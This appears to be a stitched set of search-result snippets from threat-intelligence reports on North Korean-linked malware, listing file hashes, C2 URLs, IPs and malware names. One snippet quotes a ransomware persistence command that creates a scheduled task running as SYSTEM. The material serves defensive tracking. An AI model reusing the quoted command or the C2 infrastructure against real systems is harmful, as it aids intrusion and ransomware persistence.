246c2781b88f58bc6b0da24ec71dd028 Hash-MD5 b7f7ad4970506e8547e0f493c80ba441 Hash-MD5 2b4e8612d9f8cdcf520a8b2e42779ffa Hash-MD5 c61256583c6569ac13a136bfd440ca09 Hash-MD5…","…obfuscated. Filename e190413af045db88dfbd29609eb877 Size 165376 bytes MD5 18644822140eda7493bd75ba1e1f235d SHA1 b801643e2d817931e6aa36e6bf24d1c42e9b8fdc SHA256 fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e Its purpose is to collect information on the infected…","…IP Address 141.223.125.112 January 2018 Attack Indicator Type Indicator Hash b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311 Hash 0d98ca35b29d2a9f7ca6908747c457ebdba999f0e83e182f770848e2335ade5b Folder %LOCALAPPDATA\\MicroSoft Update1 File…","…properties seen in Table 1: MD5 48f031f8120554a5f47259666fd0ee02 SHA1 02ee6302436250e1cee1e75cf452a127b397be8d SHA256 b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311 File Type PE32 executable (GUI) Intel 80386, for MS Windows PDB String C:\\Users\\zeus\\Documents\\Visual Studio…","…hashes of known files (SHA256 only) hash.sha256(“61ce43ea1c2ddafb23ee8ee083417fd375bbefce200f9bb48166af7c67df4d3c”) or hash.sha256(“b81513f0f8d3db382bb8f931bf2b7a0d4f26f74cfcf60b5d889de87ef2f1d543”) or hash.sha256(“76ee4da0af1921b820cc0913b4011bb5382edac958eb2592ee1c3a00a41c2041”)…","…연말정산 안내문_세한.docx.lnk File Size 1.54 MB (1610903 bytes) Signed Not signed MD5 a2785ec65622217be80174b887b1eb06 SHA-256 b81513f0f8d3db382bb8f931bf2b7a0d4f26f74cfcf60b5d889de87ef2f1d543 Last Modified 24-02-2025 The ‘Target’ field in the properties of the shortcut file (2024년 귀속 연말정산 안내문_세한.docx.lnk) shows the path…","…97ba8d30cf8393c39f61f7e63266914ecafd07bd49911370afb866399446f37d a80a35649f638049244a06dd4fb6eca4de0757ef566bfbe1affe1c8bf1d96b04 b8233fe9e903ca08b9b1836fe6197e7d3e98e36b13815d8662de09832367a98a f4aa4c6942a87087530494cba770a1dcbc263514d874f12ba93a64b1edbae21c facf3b40a2b99cc15eee7b7aee3b36a57f0951cda45931fcde311c0cc21cdc71…","…(2022.01.28.02) MD5 070f0390aad17883cc8fad2dc8bc81ba 40b428899db353bb0ea244d95b5b82d9 4ea6cee3ecd9bbd2faf3af73059736df b841d27fb7fee74142be38cee917eda5 URL http://45.77.71.50:8082/ https://sk5621.com.co/ FQDN kr5829.co.in sk5621.com.co Tags: QuasarRAT xRAT…","…XML/Dloader (2020.04.10.00) Downloader/Doc.Generic (2020.04.10.00) MD5 b8662d265d5cc01198d95a24fc8f3767 cc5afacbbdd11959c0a527e3513d21a1 Previous Post 주의! 21대 국회의원 선거관련 악성…","…App/.session-locks MD5 SHA1 SHA256 ca8c0385ce2b8bdd19423c8b98a5924b f3487a1324f4c11b35504751a5527bc60eb95382 b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb 27b134af30f4a86f177db2f2555fe01d 188754814b37927badc988b45b7c7f7d6b4c8dd3…","…iexplorer.exe injected malware md5 : 327865FA4009FC6A4D2EAD8AA523EEFF sha1 : B889A52BE4E070FDEBED48392574029766FE603D sha256 : 55689D91DF8435A5040ABD591537BD6893166E402E6E5610E49BE76384EF9F1D C2 http://lovelovelove.atwebpages.com/home/jpg/post.php…","…net little-dragon.mypressonline.com baboivan.scienceontheweb.net Hash 879b5fca0f4e3d1769e37e738f3b89ba6de81d0f5f34b8bba6267f905b85318a b89e79ee9c4834177cbabba9b265910a6a55c7defd2863cc1699753dbfa342b8 ServiceName ComSysApp FilePath %windir%\\System32\\mssvps.dll %windir%\\System32\\mssvps.ini MITRE ATT&CK; Mapping 策略 ID…","…49f204 8eec3ac9f7d1ac64fc7397ba57cdac4f56959d1512f71dded60e831a26e0762e 9dc813afe2ff8963696691d5092b9ea779048c63ba1a8232e8ae81f0f1a4765a b8bc45d9e038dc32b2cdee90f196103098de660670d72de95258cd71a9718613 b94a13586828f8f3474f7b89755f5e7615ff946efd510a4cca350e6e1b4af440 bab26cb256e097096ab1cac5dd77f956733bfca660250792dfc744dd26e668d7 bcafd8…","…SHA1 b8daba7780619f9a9001cf391c74a5e56682aa94 d042afa59dd81cc9e0d0e50e3cc8694a3c5f8fb4 c4ce18cb838eb61d20a857e00589b0a04a06ba52 Remediation Always be suspicious about emails…","…Size 232960 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 dfd09e91b7f86a984f8687ed6033af9d SHA1 b8fe7884d2dc4983fb0fbca192694ce2f4685e23 SHA256 aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83 SHA512…","…Execution/MDP.Event.M18 MD5 7034268d1c52539ea0cd48fd33ae43c4 7beaf468765b2f1f346d43115c894d4b b74efd8470206a20175d723c14c2e872 b8ffb0b5bc3c66b7f1b0ec5cc4aadafc f03618281092b02589bca833f674e8a0 URL…","…with default C2 domain. Malware 14: Privilege d Execution Batch Name: msdtc.bat MD5: 3b1dfeb298d0fb27c31944907d900c1d SHA1: b9353e2e22cb69a9cd967181107113a12197c645 Size: 454 bytes Type: Windows batch file Used in: Polish bank The following Windows batch file was found during a security…","…e0762e 9dc813afe2ff8963696691d5092b9ea779048c63ba1a8232e8ae81f0f1a4765a b8bc45d9e038dc32b2cdee90f196103098de660670d72de95258cd71a9718613 b94a13586828f8f3474f7b89755f5e7615ff946efd510a4cca350e6e1b4af440 bab26cb256e097096ab1cac5dd77f956733bfca660250792dfc744dd26e668d7 bcafd808237f1f29bdae4e45d75d925fb4fa3d7fe7f85abb953ba3f33aa29efc bcfa52…","…seed.bat 5d28072d76bd6af944fcec8045cbc24410a58fe70eef6f83c50934245ec92e60 wpcsvc.dat b9727fb553894d857900c0a18f82723659d136329ef56bbe9388905a666f1197 wpcsvc.dll 12df9753abd867118ce97e6570c2bde780c7913ecab4b91ef7f540c4fede2772 wpcsvc.ini…","…Domain Malicious Domain 52b0b06ab4cf6c6b1a13d8eec2705e3b dfdde88da020e584038d2656d0e3d48cfae27b1a b9899082824f1273e53cbf1d455f3608489388672d20b407338ffeecefc248f1 MD5 SHA-1 SHA-256 Lazarus .lnk file CYBLE.…","…Win32.Trojan.Apt37.LZ Win32.Downloader.FadeStealer Indicators Of Compromise (IOCs) MD5 File name b9900bef33c6cc9911a5cd7eeda8e093 N/A 7967156e138a66f3ee1bfce81836d8d0 3HNoWZd.exe.bin 77a70e87429c4e552649235a9a2cf11a wonder.dat…","…aa 1dee4c60fffcc80eb4bbd523eedab2f4 8c84d7f559cf0947fbf1981a0acb8a35 acd2d728ee4d1110521524c1eac6204e 157d1b1798f0f370a95125253e039c18 b99c1d9bf70be5172a8b36b098c67ee5 8c561a53085651d7f47b24129c2cd2d0 7df07ecb0b516df085a5ee95ed8e6560 af999c3c615b56691d75e8c877e185fb 5be0527f5c84208371761cee852f0d7c f5…","…084b21bc32ee19af98f85aee8204a148032ce7eabef668481b919195dd62b319 ccafbcff1596e3dfd28dcb97a5ba85e6845e69464742edfe136fe09bbec86ba1 b9a26a569257fbe02c10d3735587f10ee58e4281dba43474dbdef4ace8ea7101 046 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 8a1d57ee05d29a730864299376b830a7e127f089e500e148d96d0868b7c5b520 8a1…","…(GUI) Intel 80386, for MS Windows MD5 2a791769aa73ac757f210f8546125b57 SHA1 269f1cc44f6b323118612bde998d17e5bfbf555e SHA256 b9a26a569257fbe02c10d3735587f10ee58e4281dba43474dbdef4ace8ea7101 SHA512…","…SHA-256: b05aae59b3c1d024b19c88448811debef1eada2f51761a5c41e70da3db7615a9 SHA-256: b9a26a569257fbe02c10d3735587f10ee58e4281dba43474dbdef4ace8ea7101 SHA-256: c66ef8652e15b579b409170658c95d35cfd6231c7ce030b172692f911e7dcff8 SHA-256:…","…This brief post documents the capabilities of this second tool. MD5: b9ad0cc2a2e0f513ce716cdf037da907 SHA1: 1a50a7ea5ca105df504c33af1c0329d36f03715b SAH256: db0f102af2d350aa1a63772e6ee9b211d78aa962a34f75c8702e71ccd261243e Parameter…","…This matches the description of backdoors from the Romeo set as per Novetta . Malware 7: Passive Backdoors MD5: b9be8d53542f5b4abad4687a891b1c03 Type: PE32 executable (GUI) Intel 80386, for MS Windows Size: 102'400 bytes Names: hkcmd.exe Internal n ame: compact.exe…","…af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9c2111c753b09e4cc9d497f8fd314fc b128c5db5d973be60f39862ba8bfb152 bfb02dee62c38c3385df92b308499b31 ca3926dc6c4b2a71832a03fba366cbcd ec9dcef04c5c89d6107d23b0668cc1c1 f4…","…Hash-SHA256 aae9536875784fe6e55357900519f97fee0a56d6780860779a36f06765243d56 Hash-SHA256 b9c5d4339809e0ad9a00d4d3dd26fdf44a32819a54abf846bb9b560d81391c25 Hash-SHA256 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa Hash-SHA256…","…Compromise) MD5 7449b3528dffeb2babfc113308e47bb7 1827287811ef97153d0ea850673ecec1 a7f908d3f49b4f53e7f658071aff5410 b9d52717f3f9e32258bd2e8260d27ef1 b9ef6b03d44891ec8766643514fe3294 b67b3863f1182d8abdcf54fd0938cea8 ec6842538f6166462d498279b8a462b3…","…1827287811ef97153d0ea850673ecec1 a7f908d3f49b4f53e7f658071aff5410 b9d52717f3f9e32258bd2e8260d27ef1 b9ef6b03d44891ec8766643514fe3294 b67b3863f1182d8abdcf54fd0938cea8 ec6842538f6166462d498279b8a462b3 f6800836d55d049fe79e3d47d54e1119…","…CHOLLIMA (High-payout crypto theft operations) Primary exemplars (CrowdStrike community-tracking hashes): (CrowdStrike) Scuzzyfuss b9f6a9d4f837f5b8a5dc9987a91ba44bc7ae7f39aa692b5b21dba460f935a0ae ( CrowdStrike ) MataNet 357c9daf6c4343286a9a85a27bc25defdc056877ce1be2943d2e8ede3bce022c ( CrowdStrike ) SwDownloader…","…하는데 오타 검사도 안 하고 해서 갱긴이 된 것 같은 느낌이 드는 악성코드 MD5:e50f2ae7fb03675a1ef58b1cf9cda6d1 SHA1:c8cb836b3f67d0cae6fdeff4d90410ce9355a97e SHA256:b9f7133bddc4145b0dc9ddabe22cdebd6caed9ec5281728b6eeb67781a283a8b 해당 악성코드는 숫자 형태로 난독화된 PowerShell 코드 전체를 복원해서 예약 작업 등록, GitHub 페이로드 다운로드,자동 실행 및 자기 삭제 기능이 있는 악성코드입니다.…","…property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 101.36.114.190 MD5 ba00e1a70e5da6ed610652a93e7cc7dd a6598bbdc947286c84f951289d14425c 85f5075610661c9706571a33548d7585 d414e3718ad82a9925339ac8338b77a6 SHA-256…","…c40aed 5ea09247ad85915a8d1066d1825061cc8348e14c4e060e1eba840d5e56ab3e4d 2189aa5be8a01bc29a314c3c3803c2b8131f49a84527c6b0a710b50df661575e ba59f1ece68fa051400fd46467b0dc0a5294b8644c107646e75d225a45fff015 Appendix - Action Recommendations Threat Disposal lRemove suspicious directories with random names under the C drive, which include…","…SHA-256 ba5f3bbe77eef8e730fde5f7ab493e4ed3d954b9fa70a234eda6fe3c2fc1d572 95dc085b0fea4a8d80df11ba1409a2df89ca97d980ba3dcf8e90d31e9d3fd533 6f9b79c20330a7c8ade8285866e5602bb86b50a817205ee3c8a466101193386d f5873e…","…(GUI) Intel 80386, for MS Windows MD5 3dbd47cc12c2b7406726154e2e95a403 SHA1 afaa88c46666e5684b89b94ef2c4bc82e4c00845 SHA256 ba80cb0a08908782f4b6e88aa15e2d306b19bc93e79bd8770bf8be904fd1bd09 SHA512…","…(2022.10.20.00) Dropper/VBS.VBS (2022.10.19.03) MD5 55a9a935b36da90fb5a7ab814d567a40 ba83312ea92c284c710bcc0906a29fb1 URL http://ndt.info.gf/index.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…SHA1 baa69876baa6861db5736c58d2eded93dd1bec6e be9b79d09ba059caf88d6512f51be52557fa4300 URL http://partybbq.co.kr/src/bbs/calendar/upload/up/list.php?query=1 Remediation Block…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2017-08-14 13:14:04-04:00 Import Hash baa93d47220682c04d92f7797d9224ce PE Sections MD5 Name Raw Size Entropy 23041caef38d4991296ffbe42743c691 header 4096 0.825738…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2018-09-16 20:16:44-04:00 Import Hash baa93d47220682c04d92f7797d9224ce PE Sections MD5 Name Raw Size Entropy e7fd8dca1ed04d4a10fb802bf3c8d5ef header 4096 0.987963…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2017-02-20 06:09:30-05:00 Import Hash baa93d47220682c04d92f7797d9224ce PE Sections MD5 Name Raw Size Entropy a32e7b28831808e208355ae637e006f0 header 4096 0.814733…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2018-02-26 20:08:54-05:00 Import Hash baa93d47220682c04d92f7797d9224ce PE Sections MD5 Name Raw Size Entropy 0de0ceb73fba415dc20a730f628429a6 header 4096 0.816628…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2017-02-20 05:45:37-05:00 Import Hash baa93d47220682c04d92f7797d9224ce PE Sections MD5 Name Raw Size Entropy a7295799f336e3a6e8b61fe4f93e2251 header 4096 0.812374…","…and decoy This document contains a lure related to North Korea. MD5 File name Modified time Author Last saved user baa9b34f152076ecc4e01e35ecc2de18 북한의 최근 정세와 우리의 안보.doc (North Korea’s latest situation and our national security) 2021-09-03 09:34:00 Leopard…","…a4765a b8bc45d9e038dc32b2cdee90f196103098de660670d72de95258cd71a9718613 b94a13586828f8f3474f7b89755f5e7615ff946efd510a4cca350e6e1b4af440 bab26cb256e097096ab1cac5dd77f956733bfca660250792dfc744dd26e668d7 bcafd808237f1f29bdae4e45d75d925fb4fa3d7fe7f85abb953ba3f33aa29efc bcfa523b1d55fcadc89bfee8f7c9abac3497f7760485843e6f58fe666984aa00 d6fcaf…","…2018-11-05 6:11:38 2018-12-19 0:15:19 Malicious mach-o hash aeee54a81032a6321a39566f96c822f5 b63e8d4277b190e2e3f5236f07f89eee bb04d77bda3ae9c9c3b6347f7aef19ac C2 server www.celasllc.com/checkupdate.php https://www.wb-bot.org/certpkg.php https://www.wb-bot.org/certpkg.php XOR key…","…MD5 d4d1bcdfb67ee30303f30137db752b94 SHA1 34e134d614a0d5b0e4d94d63336aa8b898b0b104 SHA256 bb430087484c1f4587c54efc75681eb60cf70956ef2a999a75ce7b563b8bd694 SHA512…","…of Compromise MD5 5b44285747891464c496aa477e450f10 a205d5bdfcd237462abaf6b9d3576c4a ed691e1e20160346094c08d2cebf0f32 SHA-256 bb83597cdf057db754def79d3f94b6cf8837b358178e10e4cc792da56a7523b3 0ea29853d7300b8dbd4ddea9923ad791d5629ebdae1c2f564c32916d41579c56 13cc69320ed1e1422d13c3799998050806c72fb5406d85903b8d8860f9734c60…","…8db2f20b719dcb7029d6296505622093 900e832c10d851bbdef3fb191a15db0e a2015665a3e18bf0ef86e3931245c7e6 bb88940e915b11f6330b7446f6037f5b ce5932b88f879f26006df81f2fa7667e d0894d4626aae0f96d6b84ca3bb71a36 e50f2ae7fb03675a1ef58b1cf9cda6d1…","…b2a89eebb5be61939f5458a024c929b169b4dc85 fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 bb915073385dd16a846dfa318afa3c19 6285ffb5f98d35cd98e78d48b63a05af6e4e4dea dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc…","…Package creation date 2018-08-03 09:57:29 2018-08-13 0:12:10 Dropped updater MD5 ffae703a1e327380d85880b9037a0aeb bbbcf6da5a4c352e8846bf91c3358d5c Updater creation date 2018-08-03 09:50:08 2018-08-11 7:28:08 Updater Build path H:\\DEV\\ TManager…","…files). MD5: b135a56b0486eb4c85e304e636996ba1 Sample discovered in Incident #1 (backdoor which contains PE loader code). MD5: bbd703f0d6b1cad4ff8f3d2ee3cc073c Note that the modules presented differ in file type and purpose: Novetta's sample is an EXE file which is used to load other…","…following analysis are shown in Figure 10. CLUSTER STAGE SAMPLE NAME HASH 0 RAT (x64) 3 rd stage RAT-Kaspersky-x64 bbddcb280af742ce10842b18b9d7120632cc042a8fe42eed90fc4bc94f2d71ac 1 RAT (x64) 3 rd stage RAT-KrCERT-x64 32f6b229913d68daad937cc72a57aa45291a9d623109ed48938815aa7b6005c 2 Downloader (x64) 2 nd…","…73a2aed35aa5fc8621828e11c76d58144ea7f6bb ceec993673d95fd0af326f1ef7268ebf375361118efe2ae561c0e59b36387c1b AccountStore.bak bc1e06ba5f472aaf30d8027dc8562307 04bc9e74c65b6df6f6c4ba90db3d85ca9b2dda4c 79076febac7abad26ae1c570c4de41fb51c6a5a82b97ec5299005d8e9f66e5a9 AccountStore.bak…","…09: IOC Hunter showing Lazarus group threat actor data The first pivot over MailPassView hash (bc7bd27e94e24a301edb3d3e7fad982225ac59430fc476bda4e1459faa1c1647) in Hunt.io revealed two open directories located at: Host Size Timestamp http://207.254.22.248:8800 363 KB -…","…a2b9ec6eca8c 35ab747c15c20da29a14e8b46c07c0448cef4999 e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0 bca861a46d60831a3101c50f80a6d626fa99bf16 01530adb3f947fabebae5d9c04fb69f9000c3cef 4229896d61a5ad57ed5c247228606ce62c7032d0 4c7e975f95ebc47423923b855a7530af52977f57 5a6ad7a1c566…","…718613 b94a13586828f8f3474f7b89755f5e7615ff946efd510a4cca350e6e1b4af440 bab26cb256e097096ab1cac5dd77f956733bfca660250792dfc744dd26e668d7 bcafd808237f1f29bdae4e45d75d925fb4fa3d7fe7f85abb953ba3f33aa29efc bcfa523b1d55fcadc89bfee8f7c9abac3497f7760485843e6f58fe666984aa00 d6fcaf76b6837551e40184279c466e00d0e9b359b27ea335e3945d295f4f9cfa e40347…","…behaviors / IOCs: Type ID file 7107c110e4694f50a39a91f8497b9f0e88dbe6a3face0d2123a89bcebf241a1d file bcdd8a213cf6986bad4bb487fe1bf798e159d32fd3a88b4e8d2945403d1c428d file dfad5a2324e4bde8ba232d914fcea4c7c765992951eb933264fe1a2aaa8da164 ip_address 116.202.99.218 mutex…","…0b5db31e47b0dccfdec46e74c0e70c6a1684768dbacc9eacbb4fd2ef851994c7 3c8dbfcbb4fccbaf924f9a650a04cb4715f4a58d51ef49cc75bfcef0ac258a3e bce1eb513aaac344b5b8f7a9ba9c9e36fc89926d327ee5cc095fb4a895a12f80 bfd74b4a1b413fa785a49ca4a9c0594441a3e01983fc7f86125376fdbd4acf6b cbf4cfa2d3c3fb04fe349161e051a8cf9b6a29f8af0c3d93db953e5b5dc39c86…","…C-Indicator of Compromises Indicator Type Context 4abfbbfa443e7be34da30abda4665789d1b2e5a70cbef066e6dfacd59a1bfdbb SHA-256 GSRAT bcf9044ac1c90206d8d8b7b98cf084d90abdbd6b3bc10aa9da4cac69465a1f74 SHA-256 GSRAT 7107c110e4694f50a39a91f8497b9f0e88dbe6a3face0d2123a89bcebf241a1d SHA-256 GSRAT 3b4a56b6d86393fa0c058cdd3d26809ef6c956fb6b69fa…","…资资本保密协议主题的样本，目前捕获的样本显示攻击者的攻击目标集中于前沿科技初创公司。很遗憾目前所有找到的样本的回连地址中尚未发现后续阶段的攻击样本，猎影实验室也将持续关注该攻击事件。 IOC md5: ecf75bec770edcd89a3c16d3c4edde1a bcf97660ce2b09cbffb454aa5436c9a0 13ff15ac54a297796e558bb96feaacfd cace67b3ea1ce95298933e38311f6d0b 645adf057b55ef731e624ab435a41757 bde4747408ce3cfdfe8238a133ebcac9 42…","…4af440 bab26cb256e097096ab1cac5dd77f956733bfca660250792dfc744dd26e668d7 bcafd808237f1f29bdae4e45d75d925fb4fa3d7fe7f85abb953ba3f33aa29efc bcfa523b1d55fcadc89bfee8f7c9abac3497f7760485843e6f58fe666984aa00 d6fcaf76b6837551e40184279c466e00d0e9b359b27ea335e3945d295f4f9cfa e40347e7cd335b43a0d27b33521684754f66d1e3be714f22a68e27d396a63faf eaef80…","…server to distribute malicious code. Indicators of Compromise Related to RokRAT MD5: e11bb2478930d0b5f6c473464f2a2b6e bd2d599ab51f9068d8c8eccadaca103d SHA-256:…","…x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE> MD5 41587b0dd5104a4ee6484ff8cf47fd21 SHA1 bd41cb308913c4964aef47edafd36faa1f673717 SHA256 6f45a004ad6bb087f733feb618e115fe88164f6db9562cb9b428372c9add75f0 SHA512…","…⚫ 7f4a8f1eb120f168ab39dfb81256e7b1 ⚫ 80000db11057dc4709050205b2290321 ⚫ b7c1528311f62bd499ec396a29f684c7 ⚫ bd7a422b40df870285ec5620053ca0b2 ⚫ d554724c6392c9f2c2bc073d0a7ce21f E.…","…Size 286720 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 24906e88a757cb535eb17e6c190f371f SHA1 bda6c036fe34dda6aea7797551c7853a9891de96 SHA256 106d915db61436b1a686b86980d4af16227776fc2048f2888995326db0541438 SHA512…","…the malware has performed all these activities it sends an HTTP POST request to the CnC server: www.worker.co.kr for md5 BDAEDB14723C6C8A4688CC8FC1CFE668 www.palgong-cc.co.kr for md5 D4C93B85FFE88DDD552860B148831026 In the format: HTTP POST to…","…autoprotect.com.de Appendix B: Malware hash value bdd109cba8346548dd6fe5110180aa23eb9f5805c90733025344a5881c15c985 4867215129fead94a52e4b62ef6851b3170a0a8b66a87eadfc919f84257d25b8 f0b6d6981e06c7be2e45650e5f6d39570c1ee640ccb157ddfe42ee23ad4d1cdb 31908e…","…New Year 2018\" Campaign: Maldoc sha256: f068196d2c492b49e4aae4312c140e9a6c8c61a33f61ea35d74f4a26ef263ead PNG : bdd48dbed10f74f234ed38908756b5c3ae3c79d014ecf991e31b36d957d9c950 ROKRAT:: 3f7827bf26150ec26c61d8dbf43cdb8824e320298e7b362d79d7225ab3d655b1 Network: -…","…1a bcf97660ce2b09cbffb454aa5436c9a0 13ff15ac54a297796e558bb96feaacfd cace67b3ea1ce95298933e38311f6d0b 645adf057b55ef731e624ab435a41757 bde4747408ce3cfdfe8238a133ebcac9 421b1e1ab9951d5b8eeda5b041cb0657 d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af4eefa8cddc1e412fe91ad33199bd71 34…","…주요 침해 지표 (Indicator of Compromise) ● MD5 7bce02dc0026e271615d4d0e441ca397 ad2761910997c801b3347bd3745dd2b9 bdf18a2d9a94c348cac9efc51d59a75a 81a7d6f88c0fb1705a16fc59ad261f35 aff44804011d77e1050b912b6e6a62c5 491947a5c5b97355989f674114e59a31 0ee76a97449a20eed335b4db7327cb44 fe55207…","…(GUI) Intel 80386, for MS Windows MD5 e7718609577c6e34221b03de7e959a8c SHA1 97d24ac0d773f6260ab512fa496099b3289210db SHA256 bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1 SHA512…","…(GUI) Intel 80386, for MS Windows MD5 b054a7382adf6b774b15f52d971f3799 SHA1 b4d43cd2d81d17dec523915c0fc61b4b29e62c58 SHA256 bdff852398f174e9eef1db1c2d3fefdda25fe0ea90a40a2e06e51b5c0ebd69eb SHA512…","…\"x509\": {\"hash\": {\"md5\": [\"16fe5b27828928b3864b11e4630c825b\"], \"sha1\": [\"bdffdab55d7857d08bb77ddeef5628c709481f15\"], \"sha256\": [\"1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6\"]}}, \"marking\": {\"tlp\": \"clear\"}, \"provider\": \"Elastic…","…지표 (Indicator of Compromise) a. 주요 MD5 Hash - f948adbdfd39c63d226b0699c8b84bf0 - 85e71578ad7fea3c15095b6185b14881 - be32725e676d49eaa11ff51c61f18907 - 657fd7317ccde5a0e0c182a626951a9f - 8f106544bfd4755d17a353064666426a - e233e4da734f75388b40fed1717bfb6a -…","…MacOS.Trojan.Generic 62e988e9affcd000657bef4db47eb2e85c9a4cc42f4832780a02e19624e36e38 4402e44c0bc959ac22340041413de2482e8b5d53 be60c52ca8a01fef7dc15c2f0ebb77d8 Zscaler-published font containers not present in RL (MD5): 116f7189ed7b41f1b339a749d56e63be, 58fa0d651898446d5f5d2ed8a27a3330,…","…SHA1 baa69876baa6861db5736c58d2eded93dd1bec6e be9b79d09ba059caf88d6512f51be52557fa4300 URL http://partybbq.co.kr/src/bbs/calendar/upload/up/list.php?query=1 Remediation Block all threat indicators at your respective…","…악성파일 정보 파일명 실행예산변경 .hwp 경로 D: \\ HighSchool \\ version 13 \\ First-Dragon(VS2015) \\ Sample \\ Release \\ DogCall.pdb MD5 be9de72058ba12acad5f4185cd551daf [ 표 16] ‘ 실행예산변경 .hwp ’ 를 통해 설치되는 악성파일 정보 파일명 근 로 계 약 서 .hwp 경로 D: \\ HighSchool \\ version…","…0 | AhnLab Safe Transaction | | Dropped malware MD5 | bea602695d58cbf25fff058834e36c1d | bea602695d58cbf25fff058834e36c1d | | Dropped malware path | C : \\ Programdata \\ [ a - z ] { 8 } .…","…삽입하는 것은 사용자의 편의를 위해 제공하는 정상적인 기능이므로 이를 효과적으로 탐지하고 차단하기는 까다로운 상황이다. 1.2 파일 정보 Name BLTC.exe Type PE32+ Behavior File encryption SHA-256 bea866b327a2dc2aa104b7ad7307008919c06620771ec3715a059e675d9f40af Description H0lyGh0st ransomware [파일 1] H0lyGh0st 랜섬웨어 실행 파일 6 2.…","…SHA-256 Hash of BTLC_C.exe f8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86 SHA-256 Hash of HolyRS.exe bea866b327a2dc2aa104b7ad7307008919c06620771ec3715a059e675d9f40af SHA-256 Hash of BTLC.exe cmd.exe /Q /c schtasks /create /tn lockertask /tr [File] /sc minute /mo 1 /F /ru system 1>…","…Hash-MD5 7f7ccaa16fb15eb1c7399d422f8363e8 Hash-MD5 84c82835a5d21bbcf75a61706d8ab549 Hash-MD5 bec0b7aff4b107edd5b9276721137651 Hash-MD5 86721e64ffbd69aa6944b9672bcabb6d Hash-MD5 509c41ec97bb81b0567b059aa2f50fe8 Hash-MD5…","…84 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7cc8ce5374ff9eacd38491b75cbedf89 8f…","…mechanism). d1d490866d4a4d29306f0d9300bffc1450c41bb8fd62371d29672bf9f747bf92 Tags dropperproxytrojan Details Name BF474B8ACD55380B1169BB949D60E9E4 Size 466241 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 bf474b8acd55380b1169bb949d60e9e4 SHA1…","…Information Theft and Espionage Exposure to Sensitive Data Indicators of Compromise MD5 ac146406fa4781454cab035d4fe3f244 bf6b4a30f1e5b4f4156446adc7693236 4ca9cad959d64599e85ecb45232cb8a6 c8549d0773855ce9a0b74d814da3e119 SHA-256…","…b59274 327426b389a87fb41c5150f18c8a3b1b5c671eb08107a3a6917baea3db686555 ac4f6bdd6d4ef009f1108c4c8a3d58e0a19d4f73b239202dd601b0aeba5ceb54 bf838c2e46696f79964709e29880604d7172f2a3ab0f3f41d7ff8216f053c557 SHA1…","…intrusions in more detail. RansomHub In July 2024, QuadSwitcher deployed the RansomHub encryptor along with EDRKillShifter (SHA-1: BF84712C5314DF2AA851B8D4356EA51A9AD50257 ) to a manufacturing company in Western Europe and an automotive company in Central Europe. In August, QuadSwitcher compromised a…","…01f3a22bf3e409154e79e067370ed98a 2ba653faef17d9ea623be1138f6f420be27c95d8ad7ee1ea0d15ae718895176d bf8f0b845c8f13b4386b7204add3c5d2e504b4c6 4d1e16e2b914243e0c63017676956a73 748b9e94dc62e1fa364e9daec7d4bbb94a69b304cb81e1a1b6d302be47381a94…","…11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 74bc2d0b6680faa1a5a76b27e5479cbc bf939c9c261d27ee7bb92325cc588624fca75429 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 f3d4144860ca10ba60f7ef4d176cc736…","…Name(s) ffmpeg.dll Size 2.7MB (2814976 Bytes) File Type Win32 DLL MD5 74bc2d0b6680faa1a5a76b27e5479cbc SHA1 bf939c9c261d27ee7bb92325cc588624fca75429 SHA256 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 The library is loaded by 3CXDesktopApp.exe , and it is…","…MD5 SHA1 SHA256 Malicious DLL 74bc2d0b6680faa1a5a76b27e5479cbc bf939c9c261d27ee7bb92325cc588624fca75429 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 MD5 SHA1 SHA256 Malicious DLL cad1120d91b812acafef7175f949dd1b09c6c21a…","…b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9c2111c753b09e4cc9d497f8fd314fc b128c5db5d973be60f39862ba8bfb152 bfb02dee62c38c3385df92b308499b31 ca3926dc6c4b2a71832a03fba366cbcd ec9dcef04c5c89d6107d23b0668cc1c1 